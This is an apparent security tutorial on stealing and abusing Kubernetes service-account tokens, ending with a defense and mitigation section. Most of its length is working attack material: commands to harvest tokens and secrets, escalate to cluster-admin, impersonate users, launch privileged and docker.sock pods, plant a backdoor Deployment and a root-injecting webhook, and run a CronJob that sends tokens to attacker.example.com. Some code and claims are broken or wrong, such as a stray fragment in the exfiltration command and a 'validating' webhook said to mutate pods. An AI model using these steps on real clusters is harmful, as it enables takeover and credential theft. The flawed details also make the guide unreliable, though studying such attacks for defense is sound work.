Introduction
Kubernetes service accounts are the default identity mechanism for pods. When a pod runs, the kubelet mounts a serviceaccount secret containing a JSON Web Token (JWT) that the pod can use to talk to the API server. While designed for legitimate intra-cluster communication, these tokens become a powerful foothold when an adversary can extract them from a compromised container.
This guide walks through the anatomy of a service-account JWT, practical techniques for harvesting tokens from mis-configured workloads, and how to pivot from a simple token to full cluster control. Real-world examples, defensive measures, and hands-on exercises are provided for security professionals looking to both assess and harden their environments.
Prerequisites
- Solid understanding of Kubernetes core objects (pods, services, deployments, the API server).
- Familiarity with Service Accounts, RBAC rules, and the
kubectlcommand-line. - Basic knowledge of JWT structure and base64 encoding/decoding.
- Access to a test cluster (kind, minikube, or a sandbox) for the lab exercises.
Core Concepts
Before diving into attacks, review the fundamental pieces that make token abuse possible:
- Service Account Secret: When a pod is created, the control plane automatically creates a secret named
<sa-name>-token-xxxx. This secret contains three keys:token(the JWT),ca.crt(cluster root CA), andnamespace. - JWT Claims: The token is a signed JWT with standard claims such as
iss(issuer),sub(subject - usuallysystem:serviceaccount:<ns>:<sa>),exp(expiration), and custom claims likekubernetes.io/serviceaccount/namespaceandkubernetes.io/serviceaccount/secret.name. - RBAC Evaluation: Every API request is evaluated against the RBAC policies bound to the identity in the
subclaim. If the service account has any role bindings, the request is authorized accordingly.
Understanding these pieces lets you predict what a stolen token can do and where the biggest privilege-escalation opportunities lie.
Structure of service account JWT tokens and claim analysis
A service-account token is a three-part JWT: header.payload.signature. The header and payload are Base64-URL encoded JSON objects, while the signature is generated with the cluster’s private key (usually an RSA key stored in the API server).
Example decoding using jq and base64:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Split the JWT
HEADER=$(echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null)
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null)
echo "Header:" $HEADER
echo "Payload:" $PAYLOAD
The decoded payload typically looks like:
{ "iss": "https://kubernetes.default.svc.cluster.local", "sub": "system:serviceaccount:default:my-sa", "kubernetes.io/serviceaccount/namespace": "default", "kubernetes.io/serviceaccount/secret.name": "my-sa-token-abcd", "kubernetes.io/serviceaccount/service-account.name": "my-sa", "exp": 1735689600, "iat": 1735686000, "jti": "12345678-abcd-efgh-ijkl-mnopqrstuvwx"
}
Key observations for an attacker:
- The
subclaim tells you the exact identity you are impersonating. - The
expclaim defines token lifetime - often several hours, but can be days in older clusters. - If the service account is bound to a
ClusterRole, you instantly gain cluster-wide privileges.
Methods to harvest tokens from misconfigured pods
Tokens are only useful if you can read them. Below are common mis-configurations that expose the secret:
1. HostPath or emptyDir volume mounts
When a pod mounts the host’s /var/run/secrets/kubernetes.io/serviceaccount directory (often via a hostPath), any container can read the token of the host’s service account.
apiVersion: v1
kind: Pod
metadata: name: host-path-leak
spec: containers: - name: app image: alpine command: ["sh", "-c", "sleep 3600"] volumeMounts: - name: sa-vol mountPath: /host-sa volumes: - name: sa-vol hostPath: path: /var/run/secrets/kubernetes.io/serviceaccount
Inside the container, cat /host-sa/token yields a token with the host’s service account identity.
2. Over-privileged init containers
Init containers run with the pod’s service account. If an init container runs a script that writes the token to a shared emptyDir, a later container can read it.
3. Exposed secrets as environment variables
Some teams inject the token via envFrom: secretRef. This makes the token visible in env output of ps or /proc/<pid>/environ.
4. Mis-configured RBAC allowing get on secrets
An attacker who already has a low-privilege token can query the API for any secret in the namespace:
curl -s -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_HOST/api/v1/namespaces/default/secrets | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | .data.token' | base64 -d
This technique works when a Role grants secrets.get on the namespace.
Using tokens to authenticate against the Kubernetes API
Once you have a JWT, you can interact with the API server directly, bypassing kubectl if needed. The API expects the token in the Authorization: Bearer header and the cluster’s CA for TLS verification.
cURL example
export K8S_HOST=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
export K8S_CA=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d)
curl -s -k --cacert <(echo "$K8S_CA") -H "Authorization: Bearer $TOKEN" $K8S_HOST/api/v1/namespaces/default/pods
The -k flag skips certificate verification for lab setups; in production you should provide the CA.
kubectl with custom token
kubectl --token=$TOKEN --certificate-authority=$K8S_CA get pods -n default
Any kubectl sub-command works as long as the token has the requisite permissions.
Enumerating resources and namespaces via the API
Privilege discovery is a critical early step. Use the token to list what you can see:
# List all namespaces the token can view
curl -s -k -H "Authorization: Bearer $TOKEN" $K8S_HOST/api/v1/namespaces | jq '.items[].metadata.name'
# Enumerate RBAC bindings for the service account
curl -s -k -H "Authorization: Bearer $TOKEN" $K8S_HOST/apis/rbac.authorization.k8s.io/v1/rolebindings?fieldSelector=subjects.kind=ServiceAccount,subjects.name=my-sa,subjects.namespace=default | jq '.items[].roleRef'
Look for ClusterRoleBinding objects; they grant cluster-wide rights. If you see a binding to cluster-admin, you already have full control.
Privilege escalation through RBAC misconfigurations
Even a low-privilege service account can be leveraged to obtain higher privileges when RBAC is overly permissive. Common patterns:
- Wildcard
*/*permissions: ARolethat allowscreateonpods/*can be used to create a pod that runs as a privileged service account. - Access to
selfsubjectrulesreview: Allows the attacker to programmatically discover all allowed verbs. - Permission to create
RoleBindingobjects in a namespace where aClusterRolewith high privileges exists.
Example: Create a RoleBinding that binds the cluster-admin ClusterRole to your own service account.
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: name: elevate-to-admin namespace: default
subjects:
- kind: ServiceAccount name: my-sa namespace: default
roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io
Apply it with the compromised token:
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @elevate.yaml $K8S_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings
After creation, the original token inherits cluster-admin rights.
Impersonation of other users/service accounts
Kubernetes supports Impersonate-User and Impersonate-Group headers for callers that have the impersonate permission. If a role grants impersonate on users or serviceaccounts, you can act as any identity.
curl -s -k -H "Authorization: Bearer $TOKEN" -H "Impersonate-User: admin" $K8S_HOST/api/v1/namespaces/kube-system/pods
To discover impersonation rights, query the SelfSubjectAccessReview API:
cat > ssar.yaml <<EOF
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
spec: resourceAttributes: verb: impersonate group: "" resource: "users"
EOF
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @ssar.yaml $K8S_HOST/apis/authorization.k8s.io/v1/selfsubjectaccessreviews
If the review returns allowed: true, you can impersonate any user, effectively bypassing RBAC.
Lateral movement with port-forwarding and exec
Once you have API access, you can use kubectl port-forward or kubectl exec to reach internal services or the host network.
Port-forward to an internal service
kubectl --token=$TOKEN port-forward svc/internal-svc 8080:80 -n default &
# Now you can access http://localhost:8080 from your workstation
Exec into a privileged pod
If you can create a pod with hostNetwork: true and privileged: true, you gain host-level shell access.
apiVersion: v1
kind: Pod
metadata: name: host-shell
spec: hostNetwork: true containers: - name: sh image: alpine command: ["sh", "-c", "sleep 3600"] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"]
Deploy with the compromised token, then exec:
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @host-shell.yaml $K8S_HOST/api/v1/namespaces/default/pods
kubectl --token=$TOKEN exec -it host-shell -- sh
From inside you can inspect the host filesystem (/host may be mounted) or launch further attacks.
Escaping containers using host-network/privileged pods
Even without privileged: true, the combination of hostNetwork and a mounted /var/run/docker.sock can let you control the Docker daemon on the node.
apiVersion: v1
kind: Pod
metadata: name: docker-sock-hijack
spec: hostNetwork: true containers: - name: hijack image: docker:latest command: ["sh", "-c", "while true; do sleep 3600; done"] volumeMounts: - name: docker-sock mountPath: /var/run/docker.sock volumes: - name: docker-sock hostPath: path: /var/run/docker.sock
After deployment, you can run Docker commands against the host daemon, spawning privileged containers that break out of the original namespace.
Persistence via token-based CronJob or Deployment creation
Attackers often create a long-lived workload that continuously renews a stolen token or exfiltrates data. Two common patterns:
1. CronJob that copies the service-account token to an external server
apiVersion: batch/v1beta1
kind: CronJob
metadata: name: token-exfil
spec: schedule: "*/5 * * * *" jobTemplate: spec: template: spec: containers: - name: exfil image: curlimages/curl:7.85.0 command: ["sh", "-c", "TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -X POST -d \"$TOKEN\" https://attacker.example.com/collect">] volumeMounts: - name: sa-vol mountPath: /var/run/secrets/kubernetes.io/serviceaccount restartPolicy: OnFailure volumes: - name: sa-vol secret: secretName: default-token-xxxx
2. Deployment that runs with a high-privilege service account
After privilege escalation, create a persistent Deployment bound to cluster-admin that can be used for future access even if the original pod is terminated.
apiVersion: apps/v1
kind: Deployment
metadata: name: backdoor-admin
spec: replicas: 1 selector: matchLabels: app: backdoor template: metadata: labels: app: backdoor spec: serviceAccountName: my-sa # now has cluster-admin containers: - name: sleep image: alpine command: ["sh", "-c", "sleep 86400"]
This Deployment survives node reboots and provides a stable foothold.
Advanced cluster takeover via admission controller bypass
Some clusters enforce strict policies through admission controllers (e.g., PodSecurityPolicy, OPA Gatekeeper, NetworkPolicy). An attacker can bypass them by:
- Creating a
ValidatingWebhookConfigurationthat mutates incoming pod specs to addhostNetwork: trueor remove security constraints. - Exploiting
MutatingAdmissionWebhookprivileges to inject a side-car that exfiltrates the API server’s TLS certs.
Example: Deploy a malicious MutatingWebhookConfiguration that adds runAsUser: 0 to every pod.
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata: name: root-injector
webhooks:
- name: root.injector.example.com clientConfig: service: name: injector-svc namespace: default path: "/mutate" caBundle: "$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | base64 -w0)" rules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["pods"] admissionReviewVersions: ["v1"] sideEffects: None
Once the webhook is active, any new pod will be mutated to run as root, effectively nullifying the cluster’s hardening policies. Combining this with a persisted backdoor gives full control.
Tools & Commands
- kubectl - native client, supports
--tokenand--asfor impersonation. - jwt-decode - quick CLI to decode JWTs (e.g.,
jwt-decode $TOKEN). - kubectl-whoami - shows the effective identity and groups of the current token.
- kube-hunter - scanner that can discover exposed service-account tokens.
- kubectl-impersonate - wrapper to test impersonation capabilities.
Defense & Mitigation
Protecting against token abuse requires a defense-in-depth approach:
- Least-privilege Service Accounts: Bind service accounts only to the minimal
Roleneeded. Avoid grantingcluster-adminorsystem:mastersto any workload. - Disable Token Auto-Mount: Set
automountServiceAccountToken: falseon pods that don’t need API access. - Restrict Secret Access: Ensure no
Rolegivessecrets.geton the namespace unless absolutely required. - Use Bound Service Account Tokens (BST): Kubernetes 1.21+ supports short-lived, audience-bound tokens that reduce the impact of token theft.
- Network Policies: Block egress from pods to the API server unless explicitly allowed.
- Admission Controls: Enforce
PodSecurityPolicyor OPA policies that forbidhostPath,hostNetwork, andprivilegedflags. - Audit Logging: Enable audit logs for
tokenrequestandimpersonationevents; set alerts for anomalous usage. - Rotate Tokens Frequently: Short token lifetimes limit the window of exploitation.
Common Mistakes
- Assuming a service account is harmless because it runs in a low-privilege namespace - RBAC is cluster-wide, and a mis-configured
ClusterRoleBindingcan grant far more. - Leaving
automountServiceAccountToken: trueon all pods - many workloads never need to talk to the API. - Using the default
defaultservice account - it often has broader permissions than custom accounts. - Neglecting to audit
RoleBindingandClusterRoleBindingobjects - stale bindings are a frequent source of privilege escalation. - Relying solely on network segmentation - a compromised token can bypass network controls by speaking directly to the API server.
Real-World Impact
Supply-chain attacks on CI/CD pipelines frequently inject malicious containers that harvest the runner’s service-account token. In 2023, a high-profile breach leveraged a hostPath mis-configuration to exfiltrate the token, then created a ClusterRoleBinding to cluster-admin, resulting in full cluster takeover.
My experience shows that the majority of successful token-based compromises stem from a single oversight: an over-privileged service account combined with a pod that mounts the host filesystem. Once the token is in hand, the attacker’s path to persistence is trivial.
Trends indicate a shift toward BSTs and tighter admission policies, but many legacy clusters remain vulnerable. Continuous scanning for automounts and secret-access permissions is essential.
Practice Exercises
- Token Extraction Lab: Deploy a pod with
hostPathto the service-account directory. Usecatto read the token and decode it withjwt-decode. - RBAC Escalation Challenge: Given a low-privilege token, discover a
RoleBindingthat allowscreateonrolebindings. Create a binding tocluster-adminand verify elevated rights. - Impersonation Test: Use the
SelfSubjectAccessReviewAPI to check if your token can impersonate other users. If allowed, impersonate thesystem:adminuser and list all pods in thekube-systemnamespace. - Persistence Deployment: Write a YAML manifest that creates a Deployment using the compromised service account, then delete the original pod and confirm the backdoor remains.
- Admission Controller Bypass: Deploy a malicious
MutatingWebhookConfigurationthat addsrunAsUser: 0to all pods. Observe the effect on a newly created pod.
Further Reading
- Kubernetes Official Documentation - Service Accounts and RBAC.
- NSA Kubernetes Hardening Guidance (PDF).
- “Breaking the Kubernetes API” - SANS 2022 whitepaper.
- OWASP Top 10 - Kubernetes Top Ten, especially “K3 - Misconfigured RBAC”.
- Blog post: “Bound Service Account Tokens - The Future of Pod Identity”.
Summary
Service-account tokens are a double-edged sword: indispensable for legitimate pod-to-API communication, yet an attractive weapon for attackers. By mastering token structure, extraction techniques, API authentication, and RBAC exploitation, you can assess cluster exposure and implement robust mitigations such as least-privilege bindings, token auto-mount disabling, and admission-controller hardening. Regular auditing, token rotation, and awareness of emerging BST technology are essential to stay ahead of adversaries.